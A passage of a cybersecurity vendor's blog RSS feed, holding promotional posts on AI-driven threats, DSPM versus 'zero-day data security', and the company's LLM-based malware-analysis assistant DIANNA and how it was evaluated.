rules</li><li>Analyze large-scale datasets to detect zero-day exploits and AI-powered malware</li></ul></li></ul><p>Purpose-built<a href="https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security"> </a><a href="https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security">zero-day data security</a> measures are the necessary foundation of preemptive cybersecurity, empowering defenders to prevent attacks with solutions built from the ground up to combat the growing threat of AI attacks. By focusing on proactive defense mechanisms that neutralize threats before they can exploit vulnerabilities, security teams gain the upper hand and push back against ever-more aggressive attackers.</p><p></p><h5>A Final Prediction:</h5><p>By 2026, AI-powered malware and automated vulnerability discovery will become standard tools in cybercriminal arsenals. AI will enable attackers to conduct real-time, autonomous exploit development and deployment, significantly reducing the time between vulnerability discovery and exploitation. They will be able to perform these attacks at scale and speed using virtual ‘ai-factories’ equipped with agentic AI and other technologies, increasing the need for a zero-day response that can keep up.</p><p>As AI-driven threats evolve, organizations that rely on traditional security methods will find themselves unable to cope with the speed and scale of modern cyberattacks. The adoption of AI-driven threat detection, deep learning-based behavioral analysis, and zero-day data security solutions is critical to mitigating these emerging threats. Organizations that fail to invest in these technologies will face an increasingly hostile and overwhelming cyber landscape.</p><p></p><h5>Conclusion</h5><p>The future of cybersecurity will be defined by the ongoing battle between AI-powered attacks and AI-driven defenses, making it imperative for organizations to continually refine their strategies to stay ahead of the curve.</p><p>Traditional security measures are no longer sufficient in an AI-driven threat environment. Organizations must adopt a preemptive cybersecurity approach and leverage real-time deep learning-driven techniques to prevent and explain threats before they can cause harm. Security professionals need solutions that ensure even novel, previously unknown attack vectors can be identified and mitigated before exploitation occurs. This proactive defense strategy is essential to countering AI-generated threats and maintaining cybersecurity resilience. <br /></p><p>Experience preemptive cybersecurity in your own environment. <a href="https://info.deepinstinct.com/request-a-demo?_ga=2.104260868.58286214.1741716281-2103417061.1736868269" target="_self">Request your free scan now</a>.</p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ DSPM: A Good Start; Not the Answer ]]>
</title>
<link>https://www.deepinstinct.com/blog/-DSPM-good-start-not-the-answer</link>
<dc:creator>
<![CDATA[ David Trigano ]]>
</dc:creator>
<pubDate>Wed, 12 Feb 2025 14:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/-DSPM-good-start-not-the-answer</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt29068bd9078a64be/67aa4b580f97a230a933c84e/DSPM-930x400_1.png" length="902373" type="image/png"/>
<description>
<![CDATA[ Join Deep Instinct experts David Trigano and Alex Kozodoy as they explain why DSPM doesn't provide adequate protection in the current cybersecurity landscape and how a zero-day data security approach is the answer. ]]>
</description>
<content:encoded>
<![CDATA[ <p>In the past decade, the volume, variety, and velocity of data in enterprise estates has increased exponentially. Along with it, there has been an explosion in the accessibility of that data. In response, <a href="https://www.gartner.com/reviews/market/data-security-posture-management">Data Security Posture Management (DSPM)</a> emerged, offering visibility and governance for data security and compliance. Championed by analysts like Gartner, DSPM sought to address gaps in traditional security frameworks, helping enterprises identify and manage vulnerabilities.</p><p></p><p>While DSPM tools have proven valuable in addressing foundational security challenges, they are no longer sufficient in today’s complex threat landscape. Attackers are leveraging advanced techniques, including weaponized DarkAI (AI tools adopted for malicious purposes, like automated vulnerability discovery), to ratchet up the efficacy and volume of their attacks. To secure their data, enterprises need more than visibility and monitoring—they require a defense-in-depth strategy built around proactive prevention and remediation capabilities.<br /></p><h5>The Past and Present of DSPM</h5><p>Gartner introduced DSPM in 2022 as a critical component of modern security strategies, emphasizing the need for comprehensive visibility into data flows, security posture, and compliance. The promise was clear: it would empower organizations to discover, classify, and secure sensitive data across hybrid and multi-cloud environments, ensuring compliance with regulations like GDPR, HIPAA, and CCPA.</p><p></p><p>However, the DSPM market’s promise was disrupted by constant acquisitions of several promising startups in the space by larger platform-based cybersecurity providers:</p><p></p><ul><li><strong>Dig Security</strong> was acquired by Palo Alto Networks, integrating its data visibility features into Palo Alto’s Cloud-Native Application Protection Platform (CNAPP) offering.</li><li><strong>Flow Security</strong> joined CrowdStrike’s broader data security portfolio.</li><li><strong>Laminar</strong> joined Rubrik, a storage recovery &amp; backup provider.</li></ul><p></p><p>These acquisitions reflect a consolidation trend that narrows DSPM’s scope. Instead of evolving into comprehensive solutions, many became feature sets within larger platforms, losing their standalone value. As with many startup acquisitions, the initial aim and trajectory of the technology were curtailed to fit the broader needs of the acquiring organization.</p><p></p><p>Instead of maturing in the hands of the most competent and passionate players, it was redirected. Alongside the development of AI technologies, AI-integrated DSPM could have served an important gatekeeper role in comprehensive cybersecurity strategies. As it stands, DSPMs are falling into the same failing paradigm as other legacy tools.</p><p></p><h5>Why DSPM is No Longer Sufficient</h5><p>Despite its benefits, DSPM has inherent limitations that make it inadequate as a standalone solution:</p><p></p><p>1. <strong>Reactive, not proactive</strong>: Most DSPMs operate as monitoring solutions, offering insights and alerts but not <em>preventing</em> threats. They may detect anomalies or non-compliance but leave remediation to slow and error-prone manual processes.</p><p>2. <strong>Focused on exfiltration</strong>: DSPMs largely focus on preventing sensitive data from leaving the organization. However, attackers and malicious insiders have limitless ways to manipulate or exfiltrate data, from encrypted channels to API abuse. Once they have access, accounting for attackers’ varied tactics and capabilities is nearly impossible. Human creativity and intelligence, combined with powerful AI tools, have created a hydra. For every vulnerability closed, two more open. Preventing threats is the key to preventing exfiltration.</p><p>3. <strong>Remediation gaps</strong>: While DSPMs identify risks, they often fail to offer smart (context-aware) and automated remediations. Even fewer take responsibility for executing these remediations, leaving enterprises vulnerable to delayed responses. This responsibility falls to overburdened security teams who now have to figure out how to close those gaps.</p><p></p><h5>Zero-Day Data Security: A New Standard</h5><p>The emergence of DarkAI has made the threat landscape more unpredictable. <a href="https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent">Attackers can now generate sophisticated, never-before-seen malware</a> that exploit vulnerabilities in ways traditional DSPMs cannot anticipate. As a result, organizations relying solely on DSPM are exposed to unknown risks with inadequate security tools.</p><p></p><p>Enter<a href="https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security"> </a><a href="https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security">Zero-Day Data Security (ZDDS)</a>, a new paradigm. Unlike DSPM, which focuses on visibility and preventing data exfiltration, ZDDS prioritizes proactive prevention and remediation. It secures data wherever it’s found against known and unknown threats. Deep Instinct leads the way in ZDDS with Data Security X (DSX).</p><p></p><p>DSX prevents threats before they compromise data using the world’s only deep learning (DL) framework (a specialized AI architecture that learns patterns from massive datasets) trained for cybersecurity. The <a href="https://www.deepinstinct.com/dsx-brain">DSX Brain</a> is trained on billions of data points to recognize and prevent threats before they execute. Rather than just alerting on known threats and vulnerabilities, as DSPM does, DSX <em><strong>prevents</strong></em> the most sophisticated and dangerous unknown threats. Here’s how:</p><p></p><ul><li><strong>Proactive prevention</strong>: Effective ZDDS leverages DL and AI-driven threat detection to block attacks before they occur, safeguarding sensitive data.</li><li><strong>End-to-end coverage</strong>: ZDDS is flexible and adaptive enough to provide seamless protection across diverse data estates, whether it’s on-premises, hybrid, or in the public cloud.</li><li><strong>Automated remediation</strong>: ZDDS doesn’t just identify risks, it neutralizes them. Solutions like <a href="https://www.deepinstinct.com/dsx/dsx-cloud-storage">DSX for Cloud</a> and <a href="https://www.deepinstinct.com/dsx/dsx-network-attached-storage">DSX for NAS</a> have prevention embedded into the workflow, ensuring proactive response without manual intervention.</li></ul><p></p><p>ZDDS is the next frontier in data security, and DSX is the trailblazer, providing organizations with the means to defend against today’s most advanced threats. By adopting a ZDDS solution, enterprises can go beyond compliance and visibility to achieve true resilience against data breaches and attacks.</p><p></p><h5>Conclusion</h5><p>DSPM was a crucial step forward in data security, but it is no longer sufficient in the face of today’s sophisticated threats. Its consolidation into broader platforms underscores its limitations and the need for a more proactive and comprehensive approach.</p><p></p><p>ZDDS is not just a buzzword—it’s a necessity, the <em>next </em>crucial step forward. As the threat landscape evolves, enterprises must adopt solutions like <a href="https://www.deepinstinct.com/dsx">Data Security X (DSX)</a> to stay ahead of attackers and ensure data integrity. In this new era, prevention is not optional; it is the cornerstone of security.</p><p></p><p>To experience zero-day data security powered by DSX in your environment, request your <a href="https://deepinstinct.com/demo">free scan</a>.</p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ “Detect and Respond” is Not the Answer: The Need for Proactive Zero-Day Data Security ]]>
</title>
<link>https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security</link>
<dc:creator>
<![CDATA[ Justin Baker ]]>
</dc:creator>
<pubDate>Wed, 05 Feb 2025 14:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/-detect-and-respond-is-not-the-answer-the-need-for-proactive-zero-day-data-security</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta400b9cc1c36b358/67a247a7e729224920539411/Proactive_Zero-Day-930x400_1.png" length="738111" type="image/png"/>
<description>
<![CDATA[ Follow along with Justin Baker as he explains the importance of zero-day data security, a strategy of detecting and preventing threats before they breach security, instead of reacting after data has been compromised. ]]>
</description>
<content:encoded>
<![CDATA[ <p>Cybersecurity defenses are more advanced than ever, yet maintaining their overall effectiveness remains a persistent challenge. Cybercriminals are always on the offensive, continually refining their tactics to outmaneuver every new security innovation brought to market, especially in the era of AI.</p><p></p><p>Fortunately, the ball is in our court. We have the means to adapt, but little time to respond. If we lack urgency or respond with the wrong strategies and solutions, we will see billions in new ransomware costs, more insidious nation-state attacks, further encroachment on our personal data, and the potential expansion of physical-space attacks. We <strong>need </strong>to get it right.</p><p></p><h5>The Acceleration of Zero-Day Attacks</h5><p>Today’s fight is against zero-day attacks and unknown malware, which have proliferated with the widespread use of <a href="https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent">generative AI tools </a><a href="https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent">in the hands of cybercriminals</a>. Bad actors can now generate and modify new attacks with tools easily found on the dark web, allowing them to launch attacks with alarming speed and regularity. It’s adding overwhelming pressure to defenders who must be continually vigilant against new tactics and behaviors.</p><p></p><p>Since 2018, the number of zero-day attacks has been on the rise. Recent research from IBM, Cisco, and Google document the alarming increase: more zero-day attacks were reported in 2021 than in the prior three years combined; in 2023, 97 zero-day attacks were reported, beating the high of 2021. In May 2024, Rapid7 published the following in their Threat Intelligence Report:</p><p><em>“</em><em><strong>A consistently high level of zero-day exploitation over the last three years.</strong></em><em> Since 2020, our vulnerability research team has tracked both scale and speed of exploitation. For two of the last three years, more mass compromise events have arisen from zero-day exploits than from n-day exploits. 53% of widely exploited CVEs in 2023 and early 2024 started as zero-day attacks.”</em> </p><p></p><p>What makes these attacks particularly concerning is that they target undefended, unknown vulnerabilities. Their effects are wide-reaching and catastrophic, leaving organizations to defend against breaches that have already happened, rather than proactively preventing them from happening in the first place.</p><p></p><p>In 2024, the average cost of ransomware rose across industries, reaching $5.2 million by mid-year. The price of remediation grew alongside the price of ransom. In addition to the dollar cost of these attacks, organizations face reputation damage, and SOC teams face yet another escalation in pressure, <a href="https://www.deepinstinct.com/voice-of-secops-reports">contributing to growing levels of burnout</a>.</p><p></p><p>Traditional “detect and respond” cybersecurity tools and strategies are no longer effective. A solution that can not only detect never-before-seen malware, but prevent it, is not only necessary—it’s the only path forward. AI-powered <a href="https://www.deepinstinct.com/dsx/zero-day-data-security" target="_self">zero-day data security (ZDDS)</a> is the answer.</p><p></p><h5><strong>The Abrupt Decline of Legacy Solutions</strong></h5><p>The accelerating scale and sophistication of modern cyberattacks, particularly zero-day exploits, have rendered reactive methods ineffective. Attacks happen so quickly today that by the time a breach is detected, attackers have already encrypted or exfiltrated sensitive data. This speed makes reactive approaches not only futile but also costly in terms of recovery and damage control.</p><p></p><p>Even with tools boasting high detection rates, a small miss rate—say, 5%—can result in catastrophic breaches when facing thousands of daily threats. And most tools aren’t anywhere near that efficient.</p><p></p><p>The reality is that organizations can no longer afford to rely on outdated detection methods or wait for an attack to happen before acting. Unfortunately, much of the cybersecurity market isn’t positioned to deal with these threats.</p><p></p><p>Zero-day threats are particularly difficult to defend against using <a href="https://www.deepinstinct.com/deep-instinct-vs-competitors" target="_self">legacy security measures</a>. Malware slips past defenses, unrecognized and undetected, landing in storage or on user machines. Popular signature-based tools are now a liability because:</p><p></p><ul><li>The updates necessary to try and keep pace are unsustainable</li><li>They typically only catch known threats</li><li>The underlying technology is outdated</li><li>Management costs have ballooned</li><li>The LLM weapons used by criminals, so-called DarkAI, are more advanced than the ML used by legacy tools</li></ul><p></p><p>The only way to combat this surge of attacks without completely closing an environment off from the outside world is by using a solution specifically designed to combat zero-day attacks.</p><h5><strong>The Path Forward: Zero-Day Data Security</strong></h5><p>Preventative ZDDS, powered by deep learning (DL)—the most advanced form of AI—is the future of cybersecurity. Deep Instinct is at the forefront of this effort. We use our <a href="https://www.deepinstinct.com/dsx-brain" target="_self">purpose-built DL cybersecurity framework</a> to prevent and explain unknown threats in real time. We fight AI with better AI and help organizations dramatically reduce their exposure to malware, ransomware, and zero-day attacks.</p><p></p><p>The ability to stop an attack in its tracks—before it’s even identified by a “signature”—is the key to staying ahead in a rapidly evolving threat landscape. Moving from a reactive approach to a proactive strategy is necessary as cyberattacks increase in volume and sophistication.</p><p></p><p>Organizations must invest in technologies focused on fighting the future of cybercrime. This means being bolder in taking on new contracts, integrating new solutions more swiftly, and putting less effort towards trying to make existing tools do something they were not designed to do.</p><p></p><p>Waiting for an attack to happen—and then reacting—is simply too risky. The costs, both financially and reputationally, are too high. The price of an effective cybersecurity solution is a fraction of the cost of a breach.</p><h5><strong>Conclusion</strong></h5><p>With AI-driven threats, zero-day vulnerabilities, and the overwhelming scale of cyberattacks, you can’t afford to innovate slowly. Your enemies aren’t. They’re harnessing every possible AI tool to achieve their goals and finding it easier than ever to break through underperforming and overwhelmed defenses. Beleaguered security teams can no longer hope that their detection systems will catch everything, because they won’t.</p><p></p><p>Deep Instinct is the leading ZDDS vendor on the market. <a href="https://www.deepinstinct.com/dsx">Deep Instinct Data Security X (DSX)</a>, is the first and only purpose-built ZDDS product built from the ground up on the world’s only DL cybersecurity framework to prevent and explain unknown threats no one else can find. It provides unparalleled protection against zero-day threats across your entire data ecosystem with <a href="https://www.deepinstinct.com/dsx-brain">unmatched prevention capabilities</a>, real-time malicious verdicts, and <a href="https://www.deepinstinct.com/dsx-companion">detailed explainability</a>, solving the growing problems of cybersecurity.</p><p></p><p>To learn more about how to proactively protect your organization and its data, no matter where it resides, read about our approach to ZDDS <a href="https://www.deepinstinct.com/dsx">here</a>. Then request your <a href="https://info.deepinstinct.com/request-a-demo?_ga=2.78054167.2026569605.1737992833-777567433.1721843012">free scan</a>.</p><p></p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ DIANNA: Deep Instinct's Artificial Neural Network Assistant - Powered By Amazon Bedrock ]]>
</title>
<link>https://www.deepinstinct.com/blog/dianna-deep-instinct-artificial-neural-network-assistant-powered-by-amazon-bedrock</link>
<dc:creator>
<![CDATA[ Yaniv Avolov ]]>
</dc:creator>
<pubDate>Thu, 30 Jan 2025 13:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/dianna-deep-instinct-artificial-neural-network-assistant-powered-by-amazon-bedrock</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3601a4094d378d7c/67995fc51dbe44321db117aa/Meta_Dianna-930x400.png" length="782604" type="image/png"/>
<description>
<![CDATA[ Explore how Deep Instinct’s GenAI-powered malware analysis tool, DIANNA, the DSX Companion, leverages Amazon Bedrock to revolutionize cybersecurity explainability by providing rapid, in-depth analysis of known and unknown threats in minutes, enhancing the capabilities of SOC teams and addressing key challenges in the evolving threat landscape. ]]>
</description>
<content:encoded>
<![CDATA[ <p><em>This post is co-written with Tzahi Mizrahi and Tal Panchek from AWS. A similar version was originally published on the </em><a href="https://aws.amazon.com/blogs/machine-learning/build-ai-powered-malware-analysis-using-amazon-bedrock-with-deep-instinct/" target="_blank"><em>AWS Machine Learning Blog</em></a><em>.</em></p><p>Deep Instinct is a cybersecurity company that offers a state-of-the-art, zero-day data security (ZDDS) solution, “Data Security X” (DSX™). DSX safeguards data repositories across cloud, NAS, applications, and endpoints, delivering the industry's highest efficacy (&gt;99%), lowest false positive rate (&lt;0.1%), and explainability into never-before-seen threats.</p><p>Utilizing deep neural networks (DNNs), Deep Instinct prevents ransomware and known and unknown threats with unmatched accuracy and speed. This advanced form of AI significantly raises the cybersecurity bar and is ideally suited for large enterprises and critical infrastructure sectors such as finance, healthcare, and technology with a mandate to protect their data, in motion or at rest.</p><p>In this blog post, we explore how Deep Instinct’s GenAI-powered malware analysis tool, <a href="https://www.deepinstinct.com/dsx-companion" target="_self">DIANNA, the DSX Companion</a>, leverages Amazon Bedrock to revolutionize cybersecurity explainability by providing rapid, in-depth analysis of known and unknown threats in minutes, enhancing the capabilities of SOC teams and addressing key challenges in the evolving threat landscape.</p><h5>The SecOps Challenge</h5><p>There are two main challenges cybersecurity teams are facing: bad actors are outpacing security response, largely based on the the industries use of ML-based tools that “detect and respond” instead of preventing threats. And the flood of low-fidelity false positives that flood the SOC without context.</p><p>Fueled by the rise of DarkAI, bad actors are overwhelming SOC teams with a constant stream of sophisticated, novel malware and ransomware that are circumventing legacy security tools while triggering a massive amount of false positives that require investigation. This hampers proactive threat hunting and exacerbates team burnout. Most importantly, the surge in “alert storms” increases the risk of missing critical alerts. SOC teams need a solution that provides the explainability necessary to perform quick risk assessments regarding the nature of the attacks to make informed decisions.</p><p>Malware analysis is an increasingly critical and complex field. The challenge when analyzing zero-day attacks lies in the limited information explaining why a file was blocked and classified as malicious. Threat analysts are spending considerable time assessing whether an attack was truly malicious or just a false positive.</p><p>Let’s explore some of the key challenges that make malware analysis so demanding.</p><ol><li><strong>Is it even malware?:</strong> Modern malware has become incredibly sophisticated in its ability to disguise itself. It often mimics legitimate software and files, making it challenging for analysts to distinguish between benign and malicious code. Some malware can even disable security tools or evade scanners, further obfuscating detection.</li><li><strong>Preventing zero-day threats:</strong> The rise of zero-day threats, which have no known signatures, adds another layer of difficulty. Identifying unknown malware is crucial, as failure can lead to severe security breaches and potentially incapacitate organizations.</li><li><strong>Information overload: </strong>Today’s powerful malware analysis tools can be a double-edged sword. While they offer solid explainability, they can overwhelm analysts with data, forcing them to sift through a digital haystack to find crucial indicators of malicious activity, making it easy to overlook critical compromises.</li><li><strong>Connecting the dots:</strong> Malware often consists of multiple components interacting in complex ways. Not only do analysts need to identify the individual components, but they also need to understand how they interact. This process is like assembling a jigsaw puzzle to form a complete picture of the malware's capabilities and intentions, with constantly changing pieces and an unclear final picture.</li><li><strong>Keeping up with bad actors:</strong> The world of cybercrime is constantly evolving, with attackers relentlessly developing new techniques and exploiting new vulnerabilities, leaving organizations struggling to keep up. The time between the discovery of a vulnerability and its exploitation in the wild is narrowing, putting pressure on analysts to work faster and more efficiently. This rapid evolution requires malware analysts to constantly update their skill set and tools.</li><li><strong>Racing against the clock:</strong> In malware analysis, time is crucial. Malicious software can spread rapidly across networks, causing significant damage in minutes, often before the organization realizes an attack has occurred. Analysts face the pressure of conducting thorough examinations while also providing timely insights to prevent or mitigate attacks.</li></ol><h5>The Solution</h5><p>There is a critical need for malware analysis tools that provide precise, real-time, in-depth analysis for both known and unknown threats, easing SecOps efforts. Deep Instinct recognized this need and developed the Deep Instinct Artificial Neural Network Assistant (DIANNA), the DSX Companion.</p><p>DIANNA is a groundbreaking malware analysis tool powered by generative AI (GenAI), utilizing Amazon Bedrock as its LLM infrastructure to tackle real-world issues. It offers on-demand features that provide flexible and scalable AI capabilities tailored to the unique needs of each client. By concentrating our GenAI models on specific artifacts, we can deliver focused, comprehensive responses to effectively address this market need.</p><h5>DIANNA’s Unique Approach</h5><p>Unlike traditional methods that rely solely on retroactive analysis of existing data, DIANNA harnesses GenAI to gain the collective knowledge of countless cybersecurity experts, sources, blogs, papers, threat intelligence reputation engines, and chats. This extensive knowledgebase is embedded within the LLM, allowing DIANNA to delve deep into unknown files and uncover intricate connections that would otherwise go undetected.</p><p>At the heart of this process are DIANNA’s advanced translation engines, which transform complex binary code into natural language that LLMs can understand and analyze. This unique approach bridges the gap between raw code and human-readable insights, enabling DIANNA to provide clear, contextual explanations of a file's intent, malicious aspects, and potential system impact while addressing information overload by distilling vast data into concise, actionable intelligence.</p><p>This translation capability is key to connecting the dots between different components of complex malware. It allows DIANNA to identify relationships and interactions between various parts of the code, and offer a holistic view of the threat landscape. By piecing together these components, DIANNA can construct a comprehensive picture of the malware's capabilities and intentions, even when faced with sophisticated threats. DIANNA doesn't stop at simple code analysis—it goes deeper. The ability to turn information into natural language provides insights for the teams who are investigating why files have been flagged as malicious, streamlining what is often a lengthy process. These insights allow SOC teams to prioritize threats and focus on those that matter most.</p><h5>Enhancing DIANNA with Amazon Bedrock</h5><p>DIANNA’s integration with Amazon Bedrock allows us to harness the power of state-of-the-art language models while maintaining the agility to adapt to evolving client requirements and security considerations. DIANNA benefits from Amazon Bedrock’s robust features, including seamless scaling, enterprise-grade security, and the ability to fine-tune models for specific use cases.</p><p><strong>Accelerating Development with Amazon Bedrock: </strong>The fast-paced evolution of the threat landscape necessitates equally responsive cybersecurity solutions. DIANNA’s collaboration with Amazon Bedrock has played a crucial role in optimizing our development process and speeding up the delivery of innovative capabilities. By leveraging Bedrock’s extensive collection of pre-trained foundation models, we were able to swiftly create a proof-of-concept (POC) that demonstrated the potential of GenAI in malware analysis. This initial success bolstered our confidence in the technology and enabled us to concentrate on further enhancing DIANNA’s features.</p><p><strong>A Platform for Innovation and Comparison:</strong> Amazon Bedrock has also served as a valuable platform for conducting LLM-related research and comparisons. The service's versatility has enabled us to experiment with different foundation models, exploring their strengths and weaknesses in various tasks, leading to significant advancements in DIANNA’s ability to understand and explain complex malware behaviors.</p><p>Alongside its core functionalities, Amazon Bedrock provides a range of ready-to-use features for customizing the solution. One such feature is model fine-tuning, which allows users to train foundation models on proprietary data to enhance their performance in specific domains. For example, organizations can fine-tune an LLM-based malware analysis tool to recognize industry-specific jargon or detect threats associated with particular vulnerabilities.</p><p>Another valuable feature is the utilization of Retrieval Augmented Generation (RAG) enabling access to, and incorporation of, relevant information from external sources, such as knowledge bases or threat intelligence feeds. This enhances the model’s ability to provide contextually accurate and informative responses, improving the overall effectiveness of malware analysis.</p><p><strong>Seamless Integration, Scalability, and Customization: </strong>Integrating Amazon Bedrock into DIANNA’s architecture was a straightforward process. Bedrock’s user-friendly API and well-documented interfaces facilitated seamless integration with our existing infrastructure. Furthermore, the service’s on-demand nature allows us to scale our AI capabilities up or down based on customer demand. This flexibility ensures that DIANNA can handle fluctuating workloads without compromising performance.</p><p><strong>Prioritizing Data Security and Compliance:</strong> Data security and compliance are paramount in the cybersecurity domain. Amazon Bedrock’s enterprise-grade security features provide us with the confidence to handle sensitive customer data. The service’s adherence to industry-leading security standards, coupled with AWS’s extensive experience in data protection, ensures that DIANNA meets the highest regulatory requirements such as GDPR. By leveraging Amazon Bedrock, we can offer our customers a solution that not only protects their assets, but also demonstrates our commitment to data privacy and security.</p><p>By combining Deep Instinct’s proprietary prevention algorithms with the advanced language processing capabilities of Amazon Bedrock, DIANNA offers a unique solution that not only identifies and analyzes threats with high accuracy but also communicates its findings in clear, actionable language. This synergy between Deep Instinct’s expertise in cybersecurity and Amazon’s leading AI infrastructure positions DIANNA at the forefront of AI-driven malware analysis and threat prevention.</p><p>The following diagram illustrates DIANNA’s architecture.</p><img asset_uid="bltadb84b0acf18597a" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltadb84b0acf18597a/67995f3368e6b15561b7030f/Figure_1_Evaluating_DIANNA_s_Malware_Analysis.png" alt="Figure 1_Evaluating DIANNA's Malware Analysis.png" height="auto"/><p></p><h5>Evaluating DIANNA’s Malware Analysis</h5><p>A key component of DIANNA’s success is testing its malware analysis capabilities and evaluating the results to ensure they remain at peak levels. In this test, the input is a malware sample, and the output is a comprehensive, in-depth report on the behaviors and intents of the file. However, generating ground-truth (GT) data is particularly challenging. The behaviors and intents of malicious files are not readily available in standard datasets and require expert malware analysts for accurate reporting. Thus, we needed a custom evaluation approach.</p><p>We focused our evaluation on two core dimensions:</p><ul><li><strong>Technical features evaluation: </strong>This dimension focuses on objective, measurable capabilities. We used programmable metrics to assess how well DIANNA handled key technical aspects, such as extracting Indicators of Compromise (IOCs), detecting critical keywords, and processing the length and structure of threat reports. These metrics allowed us to quantitatively assess the model’s basic analysis capabilities.</li><li><strong>In-depth semantic evaluation: </strong>Since DIANNA is expected to generate complex, human-readable reports on malware behavior, we relied on domain experts (malware analysts) to assess the quality of the analysis. The reports were evaluated on:<ul><li><em>Depth of information:</em> Whether DIANNA provided a detailed understanding of the malware’s behavior and techniques.</li><li><em>Accuracy:</em> How well the analysis aligned with the malware’s true behaviors.</li><li><em>Clarity and structure:</em> Whether the report was organized in a clear and comprehensible manner for security teams.</li></ul></li></ul><p>Since human evaluation is labor-intensive, fine-tuning the key components (the model itself, the prompts, and the translation engines) required iterative feedback loops. Small adjustments in any component led to significant variations in the output, requiring repeated validations by human experts. The fine-tuning incorporated the following tasks and elements:</p><ul><li><strong>Gathering a malware dataset:</strong> To cover the breadth of malware techniques, families, and threat types, we collected a large dataset of malware samples, each with technical metadata.</li><li><strong>Splitting the dataset:</strong> The data was split into subsets for training, validation, and evaluation. Validation data was continually used to test how well DIANNA adapted after each key component update.</li><li><strong>Human expert evaluation:</strong> Each time we fine-tuned DIANNA’s model, prompts, and translation mechanisms, human malware analysts reviewed a portion of the validation data. This ensured that any improvements or degradations in the quality of the reports were identified early. As DIANNA’s outputs are highly sensitive to even minor changes, each update required a full reevaluation by human experts to verify whether the response quality was improved or degraded.</li><li><strong>Final evaluation on a broader dataset:</strong> After sufficient tuning based on the validation data, we applied DIANNA to a large evaluation set. Here, we gathered comprehensive statistics on its performance to confirm improvements in report quality, correctness, and overall technical coverage.</li></ul><h5>Automation of Evaluation</h5><p>To make this process more scalable and efficient, we introduced an automatic evaluation phase. We trained a language model specifically designed to critique DIANNA’s outputs, automating to some degree the assessment of how well DIANNA was generating reports. This critique model acted as an internal “oracle,” allowing for continuous, rapid feedback on incremental changes during fine-tuning. This enabled us to make small adjustments across DIANNA’s three core components (model, prompts, and translation engines) while receiving real-time evaluations of the impact of those changes.</p><p>The automated critique model enhanced our ability to test and refine DIANNA without having to rely solely on the time-consuming manual feedback loop from human experts. It provided a consistent, reliable measure of performance and allowed us to quickly identify which model adjustments led to meaningful improvements in DIANNA’s analysis.</p><h5>Advanced Integration and Proactive Analysis</h5><p>DIANNA is integrated with DSX to explain the zero-day threats that are detected and prevented. DSX’s proactive approach has extremely high accuracy and a low false positive rate, which, alongside explainability from DIANNA, helps security teams quickly identify unknown threats and allocate resources more effectively.</p><p>Additionally, DIANNA’s output streamlines investigations, minimizes cross-tool efforts, and automates repetitive tasks, making the decision-making process clearer and faster. Ultimately, organizations are able to strengthen their security posture and significantly reduce the mean time to triage.</p><h6>Key Features and Benefits of DIANNA:</h6><ul><li>Performs on-the-fly file scans, allowing for immediate assessment without any prior setup or delays.</li><li>Generates comprehensive malware analysis reports for a variety of file types in just seconds, ensuring that users receive timely information about potential threats.</li><li>Streamlines the entire file analysis process, making it more efficient and user-friendly, reducing the time and effort required for thorough evaluations.</li><li>Supports a wide range of common file formats, including Office documents, Windows Executable files, script files, and Windows Shortcut files (.lnk), ensuring compatibility with various types of data.</li><li>Offers in-depth contextual analysis, malicious file triage, and actionable insights, greatly enhancing the efficiency of investigations into potentially harmful files.</li><li>Empowers SOC teams to make well-informed decisions without relying on manual malware analysis by providing clear and concise insights into the behavior of malicious files.</li><li>Eliminates the need to upload files to external sandboxes or VirusTotal, enhancing security and privacy while facilitating quicker analysis.</li></ul><h5>Explainability and Insights for Better Decision-making for SOC Teams</h5><p>DIANNA sets itself apart from traditional AI tools that use LLM engines by providing insights into why unknown attacks are deemed malicious. Explaining a zero-day attack typically involves a lengthy process that can take hours or even days, often resulting in an incomplete understanding. While this approach has its merits, it mainly offers retroactive analysis with limited context. In contrast, DIANNA goes further than simple code analysis; it understands the intent and potential actions behind the code and delivers clear explanations of its malicious nature and potential impacts on systems. This allows SOC teams to focus on alerts and threats that truly matter.</p><h5>Example Scenario of DIANNA in Action</h5><p>In this section, we explore some DIANNA use cases and examples.</p><p>For example DIANNA can perform standalone malware analysis on malicious files.</p><p>The following screenshot is an example of a Windows executable file analysis.</p><img asset_uid="blt5b2b2ed6d782f735" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5b2b2ed6d782f735/67995f3317131c6074b21462/Figure_2_Standalone_Malware_Analysis_on_Windows_Executable_File.png" alt="Figure 2_Standalone Malware Analysis on Windows Executable File.png" height="auto"/><p></p><p>The following screenshot is an example of an Office file analysis.</p><p></p><img src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfa806447d5918267/67996bf46afeeeabb3cecfea/Figure_3_Standalone_Malware_Analysis_on_Office_File_.png" alt="Figure_3_Standalone_Malware_Analysis_on_Office_File_.png" height="auto"/><p></p><p>You can also quickly triage incidents with enriched data on file analysis provided by DIANNA. The following 